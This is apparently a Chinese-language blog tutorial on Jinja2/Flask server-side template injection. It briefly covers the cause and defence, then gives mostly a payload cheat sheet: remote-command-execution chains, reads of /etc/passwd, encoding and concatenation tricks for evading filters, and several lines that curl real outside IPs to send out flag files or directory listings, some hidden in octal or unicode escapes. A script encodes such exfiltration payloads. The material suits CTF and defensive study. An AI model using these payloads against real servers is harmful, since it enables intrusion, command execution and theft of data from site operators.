python SSTI

简介

SSTI全称是Server-Side-Template-Injection(服务器端模板引擎注入),所谓模板就是用于将后端数据(变量)转变为前端的视觉表现(HTML代码)的一种手段,使用模板引擎可以使网站程序实现界面与数据的分离。常见的模板:

  • python:jinja2、mako、tornado、django
  • php:smarty、twig
  • java:jade、velocity、springboot-Thymeleaf

一个简单的demo,使用flask中的jinja2进行模板渲染,结构如下:

flaskdemo/
├── app.py
├── static
└── templates
└── index.html

1
2
3
4
5
6
7
8
9
#app.py
from flask import Flask, render_template, request
app = Flask(__name__)

@app.route('/index')
def index():
return render_template('index.html',name = request.args.get("name"))

app.run()
1
2
3
4
5
6
7
8
<!-- index.html -->
<html>
<body>
<h1>
My name is {{name}}
</h1>
</body>
</html>

运行app.py,访问http://localhost:5000/index?name=alice即可得到页面My name is alice,这就是一次简单且安全的模板渲染。

本文重点学习jinja2 SSTI。

漏洞成因与防御

成因

漏洞成因就是代码的不规范,直接在html插入字符如使用占位符,导致注入攻击,下面给出一段漏洞路由:

1
2
3
4
5
6
7
8
9
10
@app.route('/ssti')
def ssti():
template ='''<html>
<body>
<h1>
My name is %s
</h1>
</body>
</html>'''%request.args['name']
return render_template_string(template)

可以看到,代码直接把参数name替换进了html源码中,此时我们使用模板引擎可解析的代码闭合符如{{expr}},插入代码即可实现模板注入。

防御

防御方式也很简单,避免使用格式化字符串,使用更安全的{{}}进行字符替换,例如:

1
2
3
4
5
6
7
8
9
10
11
12
render_template_string('{{name}}',name='alice')
render_template('index.html',name='alice')
'''
<!-- index.html -->
<html>
<body>
<h1>
My name is {{name}}
</h1>
</body>
</html>
'''

利用方式

1.直接注入

针对于

1
render_template_string('name is :%s' %request.args['name'])

可以直接传递参数注入。

2.间接注入

针对于

1
render_template('index.html',name='alice') 

需要配合其它漏洞,如网鼎杯初赛web669中使用的利用zipslip压缩文档路径穿越漏洞,实现文件覆盖,在伪造的html中插入SSTI payload并覆盖index.html文件,最后通过渲染html实现rce。

3.jinja2语法

基础语法

  1. 控制结构 {% %},也可以用来声明变量({% set c = "1" %}
  2. 变量取值 {{ }},比如输入7*7 ,或者是字符串、调用对象的方法,都会渲染出执行的结果
  3. 注释 ``

从别人博客里找了一个例子,有助于理解:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from jinja2 import Template

tp = Template('''{#
这是一个注释
#}

{% set c = [5, 6, 7, 8, 9] %}

{% for i in a+c %}
{% if i % 2 %} {{ i }} {% endif %}
{% endfor %}
''')

print(tp.render(a = [0, 1, 2, 3, 4]))

特殊语法

过滤器

有关过滤器:https://jinja.palletsprojects.com/en/3.1.x/templates/#builtin-filters

过滤器可以理解为是 jinja2 里面内置的函数和字符串处理函数,它能够

  • 修饰变量(支持参数)
  • 支持链式调用
1
2
3
4
5
6
7
8
9
10
11
'''1.修饰变量'''
# foo.bar
{{foo|attr("bar")}}
# "%s, %s!" % (greeting, name)
{{"%s, %s!"|format(greeting, name)}}
# [1, 2, 3].join('|')
{{[1, 2, 3]|join('|')}}

'''2.链式调用,即前一个过滤器的输出作为后一个过滤器的输入'''
# title(striptags(name))
{{ name|striptags|title }}

可以在jinja2模板中自定义宏(函数),并在渲染后使用,如下所示:

1
2
3
4
5
6
7
8
<!--定义宏函数hack()-->
{% macro hack(name="xxx") %}
<h1> Hacked by {{ name }} </h1>
{% endmacro %}

<!--call-->
<p> {{ hack('alice') }} </p>
<p> {{ hack() }} </p>

模板继承

模板继承允许我们创建一个骨架文件,其他文件从该骨架文件继承。骨架文件中block关键字表示其包含的内容可以修改。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<!--骨架文件-->
<!--base.html-->
<head>
{% block head %}
<title>{% block title %}{% endblock %} - Home</title>
{% endblock %}
</head>

<body>
<div id="content">{% block content %}{% endblock %}</div>
<div id="footer">
{% block footer %}
<script>This is javascript</script>
{% endblock %}
</div>
</body>
1
2
3
4
5
6
7
8
9
10
11
<!--继承base.html-->
{% extends "base.html" %} <!-- 继承 -->
{% block title %} Tr0y's Blog {% endblock %} <!-- title 自定义 -->
{% block head %}
{{ super() }} <!-- 用于获取原有的信息 -->
<style type='text/css'>
.important { color: #FFFFFF }
</style>
{% endblock %}

<!-- 其他不修改的原封不动的继承 -->
1
2
3
4
5
#渲染
from jinja2 import FileSystemLoader, Environment

env = Environment(loader=FileSystemLoader("./"))
print(env.get_template("extend.html").render())

沙盒逃逸

@TODO

参考link:沙盒逃逸总结

攻击思路

  1. 注入点–获取特殊类–os.popen()
  2. 注入点–基类obj–基类obj的子类–<class 'os._wrap_close'>– 加上__init__.__golbals__['popen'][ls].read()

特殊类

可利用的特殊类分为三种

  • 含os的内置类
  • 未定义类
  • jinja2内置函数
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
{{config.__class__.__init__.__globals__['os'].popen('dir').read()}} 

{{lipsum.__globals__['os'].popen('dir').read()}}

{{url_for.__globals__.os.popen('whoami').read()}}

{{get_flashed_messages.__globals__.os.popen('whoami').read()}}

{{lipsum.__globals__.__builtins__.__import__('os').popen('ls').read()}}

{{url_for.__globals__.__builtins__.__import__('os').popen('ls').read()}}

{{cycler.__init__.__globals__.os.popen('dir').read()}}

{{x.__init__.__globals__.__builtins__.__import__('os').popen('ls').read()}}
#例如
#{{jacko_god.__init__.__globals__.__builtins__.__import__('os').popen('whoami').read()}}

#{{jacko|attr("__init__")|attr("__globals__")|attr("__getitem__")("__builtins__")|attr("__getitem__")("eval")("__import__('os').popen('curl 175.24.73.30:2333?flag=`cat /f1agggghere`').read()")}}

#也就是
#jacko.__init__.__globals__.__getitem__["__builtins__"].__getitem__["eval"]("__import__('os').popen('curl 175.24.73.30:2333?flag=`cat /f1agggghere`').read()")

{{x.__init__.__globals__.__builtins__.open('/etc/passwd').read()}}

{{config['__init__']['__globals__']['os']['popen']('ls /')['read']()}}

{{(config|attr('__init__')|attr('__globals__')).os.popen('ls').read()}}

常规思路

不同于利用特殊类,本节中的攻击思路都需要对子类进行遍历,以获取目标类。

⭐想获取模块的索引可以使用index(),如获取file模块的索引

1
''.__class__.__mro__[2].__subclasses__().index(file) # 40
  1. 注入点=>基类obj=>基类obj的子类=>不带wrapper的子类=>__builtins__=>获取到file执行文件读写
  2. 注入点=>基类obj=>基类obj的子类=>不带wrapper的子类=>__builtins__=>获取到eval、exec执行命令
  3. 注入点=>基类obj=>基类obj的子类=>不带wrapper的子类=>warnings.catch_warnings

文件读写

1
2
3
4
5
6
#通过内置类'__builtins__'获取file
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('/etc/passwd').read()

#通过基类'__base__'获取file
[].__class__.__base__.__subclasses__()[40]('/etc/passwd').read()
#将read() 修改为 write() 即为写文件

命令执行

1
2
3
4
5
#使用eval执行命令
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("whoami").read()')

#使用warnings.catch_warnings中的system执行命令
[].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__.values()[12].__dict__.values()[144]('whoami')

绕过

闭合符

基础语法里提到了三种闭合方式控制语句{%...%}、表达式{{...}}、注释``,其中控制语句支持几种语法:

  • {% macro %}:宏,后面单独提。

  • {% print(...) %}:打印输出,如:

    1
    {% print(''.__class__.__mro__[-1].__subclasses__()[133].__init__.__globals__['system']("whoami")) %}
  • { %if ... }...{ %endif }:条件语句

  • {% set %}

  • {% for %}

下划线 _

下划线可以使用十六进制进行替换,不过不能用.取值因为只有字符串格式能识别十六进制,需要换成中括号[]格式即

1
2
#.__init__.__globals__ 等价于
.__init__['\x5f\x5fglobals\x5f\x5f']

中括号 []

pop() 函数用于移除列表中的一个元素,并返回该元素的值,因此可以取代中括号取值。

1
''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/etc/passwd').read()

点 .

可以使用以下几种方式作为替代

  • 中括号[]
  • 过滤器取属性:|attr|map
  • __getattribute__
  • getattr
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#使用中括号,xxx.__xxx__.__xxxx__等价于
xxx['__xxx__'].__xxxx___
xxx['__xxx__']['__xxx__']

#使用过滤器attr,xxx.__xxx__等价于
xxx|attr('__xxx__')

#使用过滤器map,1.__class__等价于
[1] | map(attribute="__class__")| list | first # map需要可迭代对象,所以要使用list,并取首值。

#使用__getattribute__,xxx.__xxx__等价于
xxx.__getattribute__("__xxx__")

#使用getattr,xxx.__xxx__等价于
getattr(xxx, "__xxx__")

关键字

编码绕过

编码只有在字符串中才可以识别,因此要用括号或中括号包裹,。

1
2
3
4
5
6
7
8
#hex:a => \x61
url_for.__globals__.os.popen('who\x61mi').read()
#oct: a => \141
url_for.__globals__.os.popen('who\141mi').read()
#base64
{{[].__getattribute__('X19jbGFzc19f'.decode('base64')).__base__.__subclasses__()[40]("/etc/passwd").read()}}
#unicode: a => \u0061
url_for.__globals__.os.popen('who\u0061mi').read()

再结合过滤器,就可以实现对.[]、以及关键字的绕过,比如

1
2
3
4
5
6
7
#八进制配合过滤器
xx|attr("\137\137\151\156\151\164\137\137")|attr("\137\137\147\154\157\142\141\154\163\137\137")|attr("\137\137\147\145\164\151\164\145\155\137\137")("\137\137\142\165\151\154\164\151\156\163\137\137")|attr("\137\137\147\145\164\151\164\145\155\137\137")("\145\166\141\154")("\137\137\151\155\160\157\162\164\137\137\50\47\157\163\47\51\56\160\157\160\145\156\50\47\143\165\162\154\40\150\164\164\160\72\57\57\70\56\61\62\71\56\64\62\56\61\64\60\72\63\63\60\67\47\51\56\162\145\141\144\50\51")
#curl 8.129.42.140:3307

#unicode配合过滤器
""|attr("\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f")|attr("\u005f\u005f\u0062\u0061\u0073\u0065\u0073\u005f\u005f")|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")(0)|attr("\u005f\u005f\u0073\u0075\u0062\u0063\u006c\u0061\u0073\u0073\u0065\u0073\u005f\u005f")()|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")(133)|attr("\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f")|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f")|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")("\u0070\u006f\u0070\u0065\u006e")("\u0063\u0075\u0072\u006c\u0020\u0034\u0037\u002e\u0031\u0030\u0031\u002e\u0035\u0037\u002e\u0037\u0032\u003a\u0032\u0033\u0033\u0033\u0020\u002d\u0064\u0020\"`\u006c\u0073\u0020\u002f`\"")|attr("\u0072\u0065\u0061\u0064")()
# curl 47.xxx.xxx.72:2333 -d \"`ls /`\"

拼接绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
'''
url_for.__globals__.os.popen('whoami').read() 等价于
'''
#+
url_for.__globals__.os.popen('who'+'ami').read()
#~
url_for.__globals__.os.popen('who'~'ami').read()
#%(格式化字符串)
url_for.__globals__.os.popen('who%s'%'ami').read()
url_for.__globals__.os.popen('w%s%s'%('ho','ami')).read()
#过滤器format(格式化字符串)
url_for.__globals__.os.popen('%s%s'|format('who','ami')).read()
#join
url_for.__globals__.os.popen(['who','ami']|join).read()
#__add__
url_for.__globals__.os.popen('who'.__add__('ami')).read()
#dict&过滤器join
dict(__buil=a,tins__=a)|join

request模块绕过

借用request模块二次传递关键字绕过,见附录jinja2内置类。

1
2
3
#{{''.__class__}} 等价于
{{''[request.args.t1]}}&t1=__class__
{{''[request['args']['t1']]}}&t1=__class_

其它执行模块绕过

eval

1
xxx.__init__.__globals__.__builtins__.eval('__import__("os").popen("whoami").read()')

exec(无回显)

1
xxx.__init__.__globals__.__builtins__.exec('__import__("os").popen("curl 101.xx.xx.xx:6677/`id`").read()')

其它

eval, execfile, compile, open, file, map, input, os.system, os.popen, os.popen2, os.popen3, os.popen4, os.open, os.pipe, os.listdir, os.access, os.execl, os.execle, os.execlp, os.execlpe, os.execv, os.execve, os.execvp, os.execvpe, os.spawnl, os.spawnle, os.spawnlp, os.spawnlpe, os.spawnv, os.spawnve, os.spawnvp, os.spawnvpe, pickle.load, pickle.loads,cPickle.load,cPickle.loads

格式化字符绕过

1
2
3
4
5
#a
{{"{0:c}"['format'](97)}}

#__class__
{{""['{0:c}'['format'](95)%2b'{0:c}'['format'](95)%2b'{0:c}'['format'](99)%2b'{0:c}'['format'](108)%2b'{0:c}'['format'](97)%2b'{0:c}'['format'](115)%2b'{0:c}'['format'](115)%2b'{0:c}'['format'](95)%2b'{0:c}'['format'](95)]}}

无回显

1
2
#使用print
{%print(lipsum.__globals__.__getitem__(\"os\").popen(\"base64 /f*\").read())%}

附录

内置类

  • python内置类

    __class__ 返回调用的参数类型
    __bases__ 返回类型列表
    __mro__ 此属性是在方法解析期间寻找基类时考虑的类元组
    __subclasses__() 返回object的子类
    __globals__ 函数会以字典类型返回当前位置的全部全局变量 与 func_globals 等价
    __dict__ 返回类或对象对应的属性
    __init__ 返回类或对象的构造方法
    __builtins__ 该模块提供对python 的所有内置标识符的直接访问
    __import__ 导入包函数
    __getitem__ 对象或者字典获取属性(方法不可以)

  • jinja2内置类

    config:flask.Flask.config(类文件导入了os)
    request:flask.request
    flask.request.referrer.args 伪造referer
    flask.request.values.args 适用于post,get
    flask.request.args.args 只适用于get 其中a是参数
    flask.request.cookies.args
    flask.request.headers.args
    session:flask.session
    g:flask

  • jinja2内置函数

    url_for:flask.url_for

    get_flashed_messages:flask.get_flashed_messages

    lipsum

常用脚本

  1. 字符转八进制

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    strr = "__init__"
    flag = ""
    for i in ["__init__","__globals__","__getitem__","__builtins__","eval","__import__('os').popen('curl http://xxx?cmd=`cat /*`').read()"]:
    for a in i:
    #print(str(oct(ord(a))))
    print(i+":")
    flag = flag + '\\'+str(oct(ord(a)))[2:]

    print(flag)
    flag = ""

REF


python SSTI
http://example.com/2023/05/09/python SSTI/
Author
springtime
Posted on
May 9, 2023
Licensed under